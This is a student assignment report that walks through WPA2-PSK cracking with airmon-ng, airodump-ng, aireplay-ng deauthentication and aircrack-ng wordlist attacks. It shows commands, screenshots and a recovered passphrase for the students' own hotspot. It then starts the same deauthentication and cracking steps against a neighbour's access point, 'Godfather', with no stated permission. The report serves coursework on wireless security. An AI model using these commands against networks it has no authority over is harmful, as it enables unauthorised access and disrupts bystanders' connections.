Cracking WPA2-PSK and analyzing Security of IITH Wi-Fi

Assignment 7

Akash Tadwai. Kamal Shrestha

ES18BTECH11019, CS21MTECH16001

Apr 19, 2022

PLAGIARISM STATEMENT

We certify that this assignment/report is our own work, based on our personal study and/or research and that we have acknowledged all material and sources used in its preparation, whether they be books, articles, packages, datasets, reports, lecture notes, and any other kind of document, electronic or personal communication. We also certify that this assignment/report has not previously been submitted for assessment/project in any other course lab, except where specific permission has been granted from all course instructors involved, or at any other time in this course, and that we have not copied in part or whole or otherwise plagiarized the work of other students and/or persons. We pledge to uphold the principles of honesty and responsibility at CSE@IITH. In addition, We understand my responsibility to report honor violations by other students if we become aware of it.

Names:Akash Tadwai, Kamal ShresthaDate:Apr 19, 2022Signature:AT, KS



Table of Contents

PLAGIARISM STATEMENT	1
PART-A	4
Pre-Requisites	4
Setting up stand-alone Wi-Fi AP	4
Disabling the Network Manager	4
Enabling Wi-Fi radio in monitor mode at specific channel	4
Capturing Wi-Fi MAC packets of specified SSID using wireshark	6
Deauthenticating client	6
Password Cracking	8
Failure	9
Success	9
Targeting a victim AP in neighborhood	10
Disabling Network interface	10
Switching the Wi-Fi radio in monitor mode at a specific channel	10
Launching the Deauthentication Attack	12
Capturing the packets while the target reconnects	13
Cracking the WPA2-PSK passphrase using a password list	15
The four way handshake process occurs as follows:	16
PART-B	18
IITH AP & RSN IE	18
BSS Id: Cisco_c0:1c:90 (7c:95:f3:c0:1c:90)	18
Client Identification & Handshake messages	19
802.1X Authentication	20
Message Flow Diagram & Uses of UID/PWD by AS	21
Message Flow Diagram [5]	22
Wrong Password Case	22
Success:	23
Failure	23
Management Frames Protection	24
Password Cracking in WPA2 Enterprise	24
Attacks possible on WPA2-EAP	24
Authentication of IITH-Guest	25
Entering Wrong Password while connecting to IITH Guest Wi-Fi Network	26
Connecting with Correct Password	26
Connecting with Wrong Password	26
Difference between them	27



Difference of call flows between IITH-Guest and IITH Wi-Fi Network	27
Analyze RSN IE in beacon and probe responses	28
Beacon Frames	28
Probe Responses	28
Security Mechanisms for IITH, IITH-GUest and own AP	29
Credit Statement:	30
References:	31



PART-A

1. Pre-Requisites

1.1. Setting up stand-alone Wi-Fi AP We used a smartphone to create a hotspot with WPA2-PSK security named: ES18BTECH11019

1.2. Disabling the Network Manager

First and Foremost thing to do, is to disable the network manager so that it won't interfere while performing deauth attack by changing channels.

sudo systemctl stop NetworkManager.service

1.3. Enabling Wi-Fi radio in monitor mode at specific channel

To enable the Wi-Fi interface card in the monitor or promiscuous mode we followed the following steps:

1. First we checked what is the name of the Wi-Fi interface card using the following command:

ifconfig



As we can see the name of the Wi-Fi interface as : "wlp0s20f3"

2. Now, to enable the Wi-Fi radio in monitor mode we use the following command:

sudo airmon-ng start wlp0s20f3



ctivities	: 🕑 Terminal 🔻			अप्रैल 13 23:17
				kamal@kamal:~
4	<mark>∦∼</mark> <u>sudo</u> air	mon-ng start	wlp0s20f3	
und 4 ll th e car d som	processes that em using 'airmo d in monitor mo etimes putting	could cause nn-ng check ki de, they will the interface	trouble. ll' before putting interfere by changing channels back in managed mode	
PID 855 902 917 35766	Name avahi-daemon wpa_supplicant avahi-daemon NetworkManager			
Y	Interface	Driver	Chipset	
y0	wlp0s20f3	iwlwifi	Intel Corporation Wi-Fi 6 AX201	
	(mac80 (mac80	211 monitor m 211 station m	ode vif enabled for [phy0]wlp0s20f3 on [phy0]wlp0s20f3 ode vif disabled for [phy0]wlp0s20f3)	3mon)

Activities 🖉 Wireshark 🕶					अप्रैल 13 16:16
					PartA 3.pcap
File Edit View Go Conturo	Analyze Statistics Telephony	Wireless Tools Holp			
	Analyze Statistics Telephony				
	x 🧕 🤇 🗢 🔿 🚪		u u u 🏢		
wlan.da == 08:25:25:a9:70:26	or wlan.da == 3e:7a:d7:23:2d:24	B or wlan.da == ff:ff:ff:ff:ff	:ff		
No. Time	Source	Destination	Protocol	Length Iden	entification Time to live Info
34 1.023730022	3e:7a:d7:23:2d:28	Broadcast	802.11	304	Beacon frame, SN=1543, FN=0, Flags=C, BI=100, SSID=ES18BTECH11019
43 1.124650109	3e:7a:d7:23:2d:28	Broadcast	802.11	304	Beacon frame, SN=1544, FN=0, Flags=C, BI=100, SSID=ES18BTECH11019
47 1.226923195	3e:7a:d7:23:2d:28	Broadcast	802.11	304	Beacon frame, SN=1545, FN=0, Flags=C, BI=100, SSID=ES18BTECH11019
48 1.329804356	3e:7a:d7:23:2d:28	Broadcast	802.11	304	Beacon frame, SN=1546, FN=0, Flags=C, BI=100, SSID=ES18BTECH11019
49 1.432950133	3e:7a:d7:23:2d:28	Broadcast	802.11	304	Beacon frame, SN=1547, FN=0, FLags=C, BI=100, SSID=ES18BTECH11019
52 1.534893980	3e:/a:d/:23:2d:28	Broadcast	802.11	304	Beacon frame, SN=1548, FN=0, Flags=C, BI=100, SSID=ES18BIECH1019
54 1.637746880	3e:/a:d/:23:2d:28	Broadcast	802.11	304	Beacon frame, SN=1549, FN=0, Flags=C, BI=100, SSID=ES18BIECH1019
55 1.741250115	3e:7a:d7:23:2d:28	Broadcast	802.11	304	Beacon frame, SN=1550, LN=0, Flags=C, BI=100, SSID=ES18BIECH11019
56 1.841354988	3e:7a:d7:23:2d:28	Broadcast	802.11	304	Beacon frame, SN=1551, HN=0, Flags=C, BI=100, SSID=ES18BIECH11019
58 1.944567984	3e:/a:d/:23:2d:28	Broadcast	802.11	304	Beacon Frame, SN=1552, HN=0, Flags=C, BI=100, SSID=ES18BIECH1019
64 2.050585678	3e:7a:d7:23:2d:28	Broadcast	802.11	304	Beacon frame, SN=1553, FN=0, Flags=C, BI=100, SSID=ES18BTECH11019
66 2.149052444	3e:/a:d/:23:2d:28	Broadcast	802.11	304	Beacon trame, SN=1554, HN=0, Flags=C, BI=100, SSID=ES18BIECH11019
67 2.250975201	3e:7a:d7:23:2d:28	Broadcast	802.11	304	Beacon Trame, SN=1555, HN=0, Flags=, BI=100, SSID=ES18BIECH11019
69 2.353557889	3e:7a:d7:23:2d:28	Broadcast	802.11	304	Beacon Trame, SN=1556, HN=0, Flags=, BI=100, SSID=ES18BIECH1019
71 2.455821590	3e:7a:d7:23:2d:28	Broadcast	802.11	304	Beacon Trame, SN=1557, HN=0, Flags=C, BI=100, SSID=ES18BIECH11019
75 2.558356612	3e:7a:d7:23:2d:28	Broadcast	802.11	304	Beacon Trame, SN=1558, HN=0, Flags=C, BI=100, SSID=ES18BIECH11019
91 2.661433274	3e:/a:d/:23:2d:28	Broadcast	802.11	304	Beacon Trame, SN=1559, HN=0, Flags=C, BI=100, SSID=ES18BIECH11019
92 2.764995269	3e:7a:07:23:20:28	Broadcast	802.11	304	Beacon frame, SN-1500, HN-0, Flags, BI-100, SSID-ES18BIECH11019
93 2.805299990	3e:7a:07:23:20:28	Broadcast	802.11	304	Beacon Irame, SN-1501, HN-0, Flags, BI-100, SSID-ESIBBLECHI1019
103 2.90//300/0	3e:7a:07:23:20:28	Broadcast	802.11	304	Beacon Irame, SN-1502, HN-0, Flags, BI-100, SSID-ESIBBLECHI1019
113 3.072759849	3e:7a:07:23:20:28	Broadcast	802.11	304	Beacon frame, SN=1503, HN=0, Flags=, BI=100, SSID=ES18BIECH11019
122 2 251250020	3e:7a:07:23:20:28	Broadcast	002.11	304	Deacon frame, SN-1504, HN-0, Flags,C, DI-100, SSID-ESIODICUTIOIS
122 3.251359620	00:00:70:40:20:00	Broadcast	002.11	343	Beacon Ifalle, SN-243, FN-0, Flags,C, BI-100, SSID-0111K-2500
124 2 278540766	3e:7a:07:23:20:28	Broadcast	802.11	304	Beacon I falle, SN-1565, HN-9, Flags, BI-100, SSID-ESIDDIECHI1019
124 3.376349700	3e.7a.d7.23.2d.20	Broadcast	802.11	304	beacon frame, $SN=1500$, $m=0$, $Flags=, D_{1}=100$, $SSID=CS10D[CUT1019$
131 3.400930341	3e.7a.u7.23.2u.28	Broadcast	802.11	304	beacon frame, $SN=1507$, $N=0$, $Flags=, D_{1}=100$, $SSID=CS10D[CUT1019$
129 2 662216527	Se. 7a. 07.23.20.20	Broadcast	802.11	304	Beacon Halle, SN-1306, HN-0, Flags, BI-100, SSID-ESIDDIECHI1019 Beacon Frame, SN-240, EN-0, Elags
120 2 695720102	20:70:d7:22:2d:28	Broadcast	802.11	343	Beacon Hame, SN-249, FN-96, Flags, DI-L00, SSID-ULLINK-2000
142 2 786904215	20.72.d7.22.2d.20	Broadcast	902.11	204	Beacon frame, $SN=1503$, $TN=0$, $Flags=, D_{1-100}$, $SSID=SIODECHI1013$
142 3.700094313	f2:60:02:07:0b:27	Broadcast	802.11	105	Drabo Deguact SN-595 FN-0 Flags
147 3.024130302	f2:60:03:e7:eb:27	Broadcast	902.11	195	Probe Request, SN=505, FN=0, Flags=, SSID=WILLCAIL (DIGULASE)
151 3 828084017	f2:60:03:e7:eb:27	Broadcast	802.11	207	Probe Request, SN-500, FN-0, Flags, Silb-NFLDE-DATO
152 3 828498576	f2:60:03:e7:eb:27	Broadcast	802.11	202	Probe Request, SN=507, FN=0, Flags=, SSID=SSID=NTEibar_2821
132 3.620430370	12.00.03.07.00.27			201	Frobe Request, SN-505, FN-6, Flags, SID-NFFDEF-2021
1					
▶ Frame 20531: 93 bytes	on wire (744 bits), 9	3 bytes captured (744 bits)	▲ 0000	00 00 38 00 27 40 40 a0 20 08 00 a0 20 08 00 00
- Radiotap Header VO, Le	ength 56			0010	
Header revision: 0				0020	
Header pad: 0				0030	$10 \ 00 \ 11 \ 03 \ 02 \ 00 \ 11 \ 03 \ 02 \ 01 \ 01 \ 00 \ 03 \ 01 \ 02 \ 02 \ 01 \ 02 \ 01 \ 03 \ 03 \ 01 \ 02 \ 01 \ 03 \ 03 \ 03 \ 03 \ 03 \ 03 \ 03$
Header Length: 56				0050	
Present Tlags Present Tlags	20040				
MAC LIMESLAMP: 52258	32249				
FIAGS: UXIU					
Data Rate: 1.0 MD/S	0427 [PC 6]				
Channel flags	2437 [DU U]	Koving (CCK) - 2 (
Antonna cignal: 200	no, comprementary Code	Keying (CCK), 2 (sheetrum		
DY flage: Dynai: -300					
FIN LLAYS: UXUUUU timestamp informatic	20			-	
	annel flags). 2 hutes			•	Desirates 74003 - Diselands 7305 (0.551) - Deserved a (0.551)
Channel flags (radiotap.ch	iannei.riags), 2 bytes				Packets: 74083 · Displayed: 7105 (9.6%) · Dropped: 0 (0.0%)



2. Capturing Wi-Fi MAC packets of specified SSID using wireshark

Now that our Wi-Fi radio is setted in monitor mode, we will now start wireshark and start capturing packets.

As you can see there are a lot of beacon frames sent by the *AP*: *ES18BTECH11019*, which means that it is ready to connect to any client that sends a probe response.

Using the airodump-ng we have checked the corresponding MAC address of our AP.

sudo airodump-ng wlp0s20f3monmon

3. Deauthenticating client

3.1. We used the following command to de-authenticate the client.

```
sudo aireplay-ng -0 <number_of_requests> -a <AP_MAC> -c <Client's MAC>
<WIfi Interface>
```

J=1										kamal@ka	amal:~				
								kamal@kai				kamal@kamal:~			
4 4	~) <u>sud</u>	<u>o</u> airep	lay-ng -	-0 1111	1 –a 3	e:7a:d7:2	3:2d:28	-c 08:25:25	:a9:70:26 wlp0	s20f3monmon			🗸 🗸 base 🗢	15:44:56 O	
15:44:58	Waiting	for be	acon fra	ame (BS	SID: 3	E:7A:D7:2	3:2D:28)	on channel							
15:44:58	Sending	64 dir	ected De	eAuth (code 7). STMAC:	[08:25:	25:A9:70:26] [6 30 ACKs]						
15:44:59	Sending	64 dir	ected De	eAuth ()	code 7). STMAC:	[08:25:	25:A9:70:26] [0 131 ACKs						
15:45:09	Sending	64 dir	ected De	eAuth ()	code 7). STMAC:	[08:25:	25:A9:70:26] [26 1985 ACK	s]					
15:45:23	Sending	64 dir	ected De	eAuth ()	code 7). STMAC:	[08:25:	25:A9:70:26] [289 1120 AC	Ks]					
15:45:36	Sending	64 dir	ected De	eAuth ()	code 7). STMAC:	[08:25:	25:A9:70:26] [689 486 ACK	s]					
15:45:49	Sending	64 dir	ected De	eAuth ()	code 7). STMAC:	[08:25:	25:A9:70:26] [41 213 ACKs						
15:46:02	Sending	64 dir	ected De	eAuth ()	code 7). STMAC:	[08:25:	25:A9:70:26] [346 813 ACK	s]					
15:46:15	Sending	64 dir	ected De	eAuth ()	code 7). STMAC:	[08:25:	25:A9:70:26] [17 3392 ACK	s]					
15:46:28	Sending	64 dir	ected De	eAuth ()	code 7). STMAC:	[08:25:	25:A9:70:26] [1449 3130 A	CKs]					
15:46:54	Sending	64 dir	ected De	eAuth ()	code 7). STMAC:	[08:25:	25:A9:70:26] [227 2876 AC	Ks]					
15:46:55	Sending	64 dir	ected De	eAuth ()	code 7). STMAC:	[08:25:	25:A9:70:26] [0 196 ACKs						
15:47:08	Sending	64 dir	ected De	eAuth ()	code 7). STMAC	[08:25:	25:A9:70:26] [350 799 ACK	s]					
15:47:17	Sending	64 dir	ected De	eAuth (code 7). STMAC:	[08:25:	25:A9:70:26] [26 ^C69 ACK	s]					

3.2 We can see in wireshark that the client got de-authenticated.



Activities	🖉 Wireshark 🔻					अप्रैल 13 16	17			🕫 🗎 💌
						PartA_3.pc	ар			- a 😣
<u>File</u> Edit	<u>V</u> iew <u>Go</u> <u>C</u> apture	Analyze Statistics Telephony	<u>/ W</u> ireless <u>T</u> ools <u>H</u> elp							
	2 🛞 🚞 🗎	🖹 🍯 🍳 🔶 🛸	🐐 生 📃 🔍 (a, a, 🎹						
📕 wlan.da =	== 08:25:25:a9:70:26	or wlan.da == 3e:7a:d7:23:2d:2	8 or wlan.da == ff:ff:ff:ff:ff:ff							+
No.	Time	Source	Destination	Protocol Length	Identification	Time to live	Info			A
12	285 9.919427267	3e:7a:d7:23:2d:28	XiaomiCo_a9:70:26	802.11	38		Deauthentication, SN=0, F	N=0, Flags=		
12	286 9.921633005	X1aom1Co_a9:70:26	3e:7a:d7:23:2d:28	802.11	38		Deauthentication, SN=0, F	N=0, Flags=		
12	289 9.925560932	XiaomiCo a9:70:26	3e:7a:d7:23:2d:28	802.11	38		Deauthentication SN=0, F	N=0, Flags=		
12	291 9.931140723	3e:7a:d7:23:2d:28	Broadcast	802.11	04		Beacon frame, SN=1640, FN	=0, Flags=C, BI=100, SSID=ES	18BTECH11019	
12	292 9.931151331	3e:7a:d7:23:2d:28	XiaomiCo_a9:70:26	802.11	38		Deauthentication, SN=0, F	N=0, Flags=		
12	293 9.933280482	XiaomiCo_a9.70.20	3e.7a.d7.23.2d.28	802.11	38		Deauthentication, \$N=0, F	N=0, Flags=		
12	294 9.936651452	3e:7a:d7:23:2d:28	X1aom1Co_a9:70:26	802.11	38		Deauthentication, SN=0, F	N=0, Flags=		
12	295 9.930050230	3e:7a:d7:23:2d:28	XiaomiCo a9:70:26	802.11	38		Deauthentication SN=0, F	N=0, Flags=		¥
4	200 0.042101101	00.10.01.20.20.20	A10001200 00.10.20	002.22	00		beautiencieución. 54-0. T	N-0. 11003) F
 Frame 1 Radiota Head 	1292: 38 bytes ap Header v0, L ler revision: 0	on wire (304 bits), 38 ength 12	bytes captured (304	bits)	0000 00 0 0010 08 2 0020 2d 2	0 0c 00 04 8 5 25 a9 70 2 8 00 00 <mark>07 0</mark>	0 00 00 02 00 18 00 c0 00 6 3e 7a d7 23 2d 28 3e 7a 0	3a 01 :		
Head	ler pad: 0									
> Pres	ent flags									
Data	Rate: 1.0 Mb/s									
* 802.11	radio informat	ion								
Data	rate: 1.0 Mb/s									
• [Duri	ation: 304µsj Synert Info (War	ning/Assumption): No r	preamble length inform	ation was availab						
- [C	reamble: 96usl	ning/Assumption). No p	preumbre rengen rinon	acton was availab						
F IEEE 80	02.11 Deauthent	ication, Flags:								
Type.	/Subtype: Deaut	hentication (0x000c)								
- Fram	e Control Field	: 0xc000								
		Management frame (A)								
11	100 = Subty	vpe: 12								
- F1	ags: 0x00									
	00 = DS	status: Not leaving D	S or network is operat	ing in AD-HOC mod						
	0 = Mor	re Fragments: This is	the last fragment							
	A = PM	2 MCT: STA will stav u	g retransmitted							
		re Data: No data buffe	red							
	.0 = Pro	otected flag: Data is n	not protected							
	0 = Ord	der flag: Not strictly	ordered							
.000	0001 0011 1010	= Duration: 314 micro	oseconds							
Dest	ination address: X	.iaomico_a9:70:20 (08:2	08:25:25:25:a9:70:26)							
Tran	smitter address	: 3e:7a:d7:23:2d:28 (3	Se:7a:d7:23:2d:28)							
Sour	ce address: 3e:	7a:d7:23:2d:28 (3e:7a:	:d7:23:2d:28)							
BSS	Id: 3e:7a:d7:23	:2d:28 (3e:7a:d7:23:2d	1:28)							
	0000	= ⊢ragment number: 0								
TEEE 80	02.11 Wireless	- ocquence number: 0								
- Fixe	d parameters (2	bytes)								
Re	ason code: Clas	s 3 frame received fro	om nonassociated STA (0×0007)						
🔘 🝸 Rea	ason for unsolicited no	tification (wlan.fixed.reason_cod	le), 2 bytes					Packets: 74083 · Displayed: 7105 (9.6%) · D	ropped: 0 (0.0%)	Profile: Default

The client now again enters the password to reconnect to the AP and hence we captured the four-way handshake messages shown in the screenshots below,

Activities	🖉 Wireshark 🔻					अप्रैल 13 16	23	🥚 🗠 🖈 🗎 🔻
						PartA_3.pd	ap	8
<u>F</u> ile <u>E</u> dit ⊻	iew <u>G</u> o <u>C</u> apture	Analyze Statistics Telephony	<u>W</u> ireless <u>T</u> ools <u>H</u> elp					
	(🛛 🚞 🗋	🎗 🙆 🍳 👄 🔿 警	Ŧ 🖢 📃 🔍	Q Q 🎹				
wlan.da	- 08:25:25:a9:70:26 (or wlan.da == 3e:7a:d7:23:2d:20	8 or wlan.da ff:ff:ff:ff:ff:ff					×
Packet	t details 👻 🛛 Narr	ow & Wide 🔹 🗌 Case :	sensitive String	▼ Key				Find Cancel
No.	* Time	Source	Destination	Protocol	Length Identif	ication Time to live	Info	
2047	72 75.774387252	3e:7a:d7:23:2d:28	Broadcast	802.11	304		Beacon frame, SN=263, FN=0, Flags=C, BI=100, SSID=ES18BTECH	.1019
2047	75 75.876748318	3e:7a:d7:23:2d:28	Broadcast	802.11	304		Beacon frame, SN=264, FN=0, Flags=C, BI=100, SSID=ES18BTECH:	.1019
2047	76 75.979175535	3e:7a:d7:23:2d:28	Broadcast	802.11	304		Beacon frame, SN=265, FN=0, Flags=C, BI=100, SSID=ES18BTECH:	.1019
2047	78 76.082443507	3e:7a:d7:23:2d:28	Broadcast	802.11	304		Beacon frame, SN=266, FN=0, Flags=C, BI=100, SSID=ES18BTECH:	.1019
2048	50 76.183932626	3e:/a:d/:23:2d:28	Broadcast	802.11	304		Beacon Trame, SN=267, FN=0, Flags=, BI=100, SSID=ES18BIECH:	.1019
2040	2 76 200004212	3e:/a:u/:23:2u:20	Broadcast	802.11	304		Beacon frame, SN=260, FN=0, Flags=, DI=100, SSID=ESIODIEUR.	1019
2040	84 76 492141543	3e.7a.d7.23.2d.20	Broadcast	802.11	304		Beacon frame SN=270 EN=0 Elage= C BI=100, SSID=ES10BIECH.	1019
2040	85 76 497810330	XiaomiCo a9:70:26	3e · 7a · d7 · 23 · 2d · 28	802.11	210		Probe Request SN=2149 EN=0 Flags= C SSTD=ES18BTECH11019	.1015
2048	87 76.500254085	3e:7a:d7:23:2d:28	XiaomiCo a9:70:26	802.11	284		Probe Response, SN=271, FN=0, Flags=C, BT=100, SSTD=FS18BTF(H11019
2048	89 76.505351034	XiaomiCo a9:70:26	3e:7a:d7:23:2d:28	802.11	90		Authentication, SN=2150, FN=0, Flags=C	
2049	91 76.508890992	3e:7a:d7:23:2d:28	XiaomiCo_a9:70:26	802.11	90		Authentication, SN=3641, FN=0, Flags=C	
- 2049	93 76.512424380	XiaomiCo_a9:70:26	3e:7a:d7:23:2d:28	802.11	247		Association Request, SN=2151, FN=0, Flags=C, SSID=ES18BTECH:	1019
2049	95 76.522485152	3e:7a:d7:23:2d:28	XiaomiCo_a9:70:26	802.11	215		Association Response, SN=3643, FN=0, Flags=C	
2049	97 76.533808297	3e:7a:d7:23:2d:28	XiaomiCo_a9:70:26	EAPOL	193		Key (Message 1 of 4)	
2049	99 76.540634589	XiaomiCo_a9:70:26	3e:7a:d7:23:2d:28	EAPOL	215		Key (Message 2 of 4)	
2056	91 76.548971239	3e:7a:d7:23:2d:28	X1aom1Co_a9:70:26	EAPOL	249		Key (Message 3 of 4)	
2050	93 76.552257062	X1a0m1C0_a9:70:26	3e:/a:d/:23:20:28	EAPOL	193		Key (Message 4 of 4)	
2056	97 76.570497700 10 76 E07E40041	0C:0e:70:40:2C:00	Broadcast	802.11	343		Beacon frame, SN-1017, FN-0, Flags, BI-100, SSID-0110K-200	1010
2051	10 76.597549041	3e:/a:u/:23:20:28	Broadcast 3e:7e:d7:22:2d:28	802.11	304		Action SN-1188 EN-0 Elage- C	.1019
2051	12 76.619945079	3e.7a.d7.23.2d.28	XiaomiCo a9:70:26	802.11	93		Action SN=273 EN=0, Flags= C	
2051	19 76.644427244	XiaomiCo a9:70:26	Broadcast	802.11	446		OoS Data, SN=1, EN=0, Flags=.pTC	
2052	21 76.649113272	XiaomiCo a9:70:26	Broadcast	802.11	444		Data, SN=806, EN=0, Flags=,p,F.C	
2052	22 76.651780103	3e:7a:d7:23:2d:28	XiaomiCo a9:70:26	802.11	93		Action, SN=274, FN=0, Flags=C	
2052	24 76.652260241	3e:7a:d7:23:2d:28	XiaomiCo_a9:70:26	802.11	843		QoS Data, SN=0, FN=0, Flags=.pF.C	
2052	26 76.652829692	XiaomiCo_a9:70:26	3e:7a:d7:23:2d:28	802.11	93		Action, SN=1189, FN=0, Flags=C	
2052	29 76.653914025	3e:7a:d7:23:2d:28	XiaomiCo_a9:70:26	802.11	93		Action, SN=275, FN=0, Flags=C	
2053	31 76.654753067	XiaomiCo_a9:70:26	3e:7a:d7:23:2d:28	802.11	93		Action, SN=1190, FN=0, Flags=C	
2054	40 76.659425286	3e:7a:d7:23:2d:28	XiaomiCo_a9:70:26	802.11	281		QoS Data, SN=0, FN=0, Flags=.pR.F.C	
2054	41 /6.6594284/4	3e:/a:d/:23:2d:28	X1aom1Co_a9:70:26	802.11	851		QOS Data, SN=1, FN=0, F1ags=.pF.C	
 ✓ Channe 	el flags: 0x00a	a0, Complementary Code	: Keying (CCK), 2 GHz	spectrum	• 0000	00 00 38 00 2f 4	0 40 a0 20 08 00 a0 20 08 00 00 8 /@ ······	Þ
	0	= IUrbo: False	in Kowing (CCK): T		0010	42 10 24 17 00 0	0 00 00 10 02 00 09 80 00 00 00 B-\$ V.\$	
	· · · · · · · · · · · · · ·	Complementary Cot	Te Keying (CCK): True	oving (OFDM):	Falor 0020	16 00 11 03 da 0	0 dc 01 88 02 30 01 08 25 25 a9	
	1	- 2 GHz spectrum: 1	rue	exing (OFDH).	0040	70 26 3e 7a d7 2	3 2d 28 3e 7a d7 23 2d 28 00 00 p&>z·#-(>z·#-(··	
	· · · · · · ± · · · · ·	= 5 GHz spectrum: F	alse		0050	06 00 aa aa 03 0	0 00 00 88 8e 02 03 00 5f 02 00	
		= Passive: False	4100		0060	8a 00 10 00 00 0	0 00 00 00 00 01 af 80 f1 83 80	
	0	= Dynamic CCK-OFDM:	False		0070	f7 1d 61 66 24 d	8 87 63 f7 99 29 3a d5 bc 43 c5 ··af\$··c ··):··C·	
	. 0	= Gaussian Frequenc	y Shift Keying (GFSK): False		DU 8C 2T e1 59 1	a c4 r2 49 rc or 00 00 00 00 00 ··/·Y··· 1·0·····	
	Θ	= GSM (900MHz): Fal	Lse			00 00 00 00 00 00 00	0 00 00 00 00 00 00 00 00 00 00 00 00 0	
0)	= Static Turbo: Fal	lse		00b0	00 00 00 00 00 00	0 00 00 00 00 00 00 00 25 be 96%	
.0.		= Half Rate Channel	L (10MHz Channel Widt	h): False	0000	5b		
0		= Quarter Rate Char	nne⊥ (5MHz Channel Wi	ατn): Fa⊥se				
Anteni	na signal: -360	mar						
P RA TLA	ays. 0x0000				*			
O Z No p		states to be discussed disclar.					Projector 74000 Discloud 7105 (0.5%). Descend 0	(n.nv)



Activities	🖉 Wireshark 🔫				अप्रैल 13 16	5:24	🥭 🖂	🕫 🖬 👻
					PartA_3.pc	cap		_ • 😣
File Edit View	<u>Go</u> <u>Capture</u> <u>Analyze</u> <u>Statistics</u> Te	elephony <u>W</u> ireless <u>T</u> ools <u>H</u> elp						
	• 🔶 ۲ 📓 🖺 📄 🛞	۹ 📃 👤 🔄 🖷	ର୍ଷ୍ 🎹					
📕 wlan.da 🗕 0	8:25:25:a9:70:26 or wlan.da 3e:7a:d7:	23:2d:28 or wlan.da ff:ff:ff:ff:ff:ff						*
Packet de	etails 👻 🛛 Narrow & Wide 🛛 👻	Case sensitive String	▼ Key				Find	Cancel
No. *	Time Source	Destination	Protocol Len	gth Identification	Time to live	Info		-
20495	76.522485152 3e:7a:d7:23:2d 76.533808297 3e:7a:d7:23:2d	28 XiaomiCo a9:70:26	802.11 EAPOI	215		Association Response, SN=3643, FN=0, Flags=C		
20499	76.540634589 XiaomiCo_a9:70	:26 3e:7a:d7:23:2d:28	EAPOL	215		Key (Message 2 of 4)		
20501	76.548971239 3e:7a:d7:23:2d	:28 XiaomiCo_a9:70:26	EAPOL	249		Key (Message 3 of 4)		
20503	76.552257062 X1aom1Co_a9:70	:26 3e:7a:d7:23:2d:28	EAP0L 802 11	193		Key (Message 4 of 4) Beacon frame SN=1017 EN=0 Elage=C_BT=100 SSTD=dlink-2000		
4	10.010401100 00.00.10.40.20		002.11	040		beacon frame, 54-1017, FR-5, Flags-1.1.1.0, 51-105, 5510-01118-2000		۳ ۲
e .000 eek Receiver Transmin Destinan Source a BSS Id: STA add 	= Order flag: Not Str 1 0011 1010 = Duration: 314 raddress: XlaomiCo.a9:70:20 tter address: Se:7a:47:23:2d tion address: Se:7a:47:23:2d tion address: Sizandr.23:2d:28 (38:7a:47 ress: XlaomiCo.a9:70:26 (08: 0000 = Fragment numb neck sequence: 0x50950e25 [ut tus: Unverified] 0000 Sequence numb heck sequence: 0x50950e25 [ut tus: Unverified] 0000 Sequence numb net content of the second 0000 Sequence numb net content of the second net content of the second Nonce Sequence numb net content of the second net content of the second Nonce	<pre>iclly ordered mitrosecond; (00:25:25:40:70:26) (20:25:40:70:70:26) (20:25:40:70:70:70:70:70:70:70:70:70:70:70:70:70</pre>	MAC-SHA1 MIC (2) 2f			• 0000 00 00 30 00 21 40 40 40 40 40 40 40 40 40 40 40 40 40	8 90 90 9 00 90 9 00 90 8 00 90 8 00 90 8 02 90 8 02 90 8 02 90 9 00 90 9 00 9 00 00 9 00 9 00 9 00 9 00 00 9 00 9	- 8-700 B - 5
O Z No pack	et contained that string in its dissected di	splay.				Packets: 74083 · Displayed: 7105 (9.6%) · Dropped: 0 (0.0%)		Profile: Default

4. Password Cracking

Now we use the following aircrack-ng command which takes the password list and pcap file as arguments and tries to crack the password based on them.



For the password list we used the default aircrack-ng's <u>test password list</u> from github. When the password for the WiFi AP does not match with any of the passwords in the password list, the command outputs that it is not able to crack the password.



Failure

Aircrack-ng 1.6																	
[00:00:00] 2294/2294 keys tested (13932.93 k/s)																	
Time left:																	
					KE	Y N	а тс	=0UN	ID								
Master Key	:	00 00															
Transient Key	:	00 00 00 00															
EAPOL HMAC	:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00

Success

We modified the list with the original password and by entering the same command as above aircrack-ng is able to crack the master key, transient key and HMAC.

			kamal@kamal:~		
sudo wiresl	hark ×	kamal@kamal:~	× kamal@kamal:~	×	kamal@kamal:~ × 🗸
	Aircrack-ng 1.6				
[00:00:00] 2295/3	2295 keys tested (13697.24 k/s				
Time left:					
	KEY FOUND! [akash@6174]				
Master Key :	6D 6B C5 36 6E A6 8F B5 87 8E 38 0C 43 C3 F2 6A C0 36 C2 F1	E 8F 5F 33 00 EE 83 L 1D CE 38 A4 F3 FC			
Transient Key :	66 2E 95 D9 B8 6F 47 00 00 00 00 </td <td>9 00 00 00 00 00 00 00 9 00 00 00 00 00 00 9 00 00 00 00 00 00 9 00 00 00 00 00 00 00</td> <td></td> <td></td> <td></td>	9 00 00 00 00 00 00 00 9 00 00 00 00 00 00 9 00 00 00 00 00 00 9 00 00 00 00 00 00 00			
EAPOL HMAC :	6F 3B 40 D0 F5 F1 AF 76 80 20	E0 D1 88 53 41 BC			



5. Targeting a victim AP in neighborhood

We will be now repeating all the steps that we performed earlier for cracking WPA2-PSK Passphrase of *a victim AP in the neighborhood*.

Activities 🛛 🗘 Settings 👻	अप्रैल 13 23:22		🥚 🧧 😕	🔹 🗐 👻
Q Settings	Wi-Fi Connection disappeared			- a 🛛
🕄 Network	Airplane Mode Disables Wi-Fi, Bluetooth and mobile broadband			
Bluetooth	Malkia Makumata O			
📮 Background				
Appearance	Godrather	•		
D Notifications	V PURUSHOTHAM			
Q Search	♥ Keqing	8		
III Applications	♀ rahuls	â		
🔒 Privacy	♀ Tony Stark	ê		
Online Accounts	♀ HACKER	ê		
«° Sharing	♥ Wifi-JJM	ê		
♫ Sound	♥ Anoop_Anu	ê		
• Power	♥ DIR-615-m606	a		
	♥ Venom	e		
Mouse & Touchpad	♀ Ranchoo	8		
Kerboard Shortcutr	♀ Balugadu	e		
	♥ DIR-825-FD91	ê		
	♡ This is Anfield	e		
	♥ DIR-615-0905	ê		
a color	♀ Leon	8		
🖶 Region & Language	Q aiav	<u>-</u>		
🛉 Universal Access		0		
옷 Users	• Optimuserime			

As shown in the list of available APs we will be targeting the AP named as "Godfather".

5.1. Disabling Network interface

The first thing is to disable the network interface so that it prevents switching of channels, as mentioned earlier.

sudo systemctl stop NetworkManager.service

5.2. Switching the Wi-Fi radio in monitor mode at a specific channel

Now we will switch the wireless radio in the monitor mode so that we can capture all the packets.

We will first start the radio without specify any channels.

sudo airmon-ng start wlp0s20f3



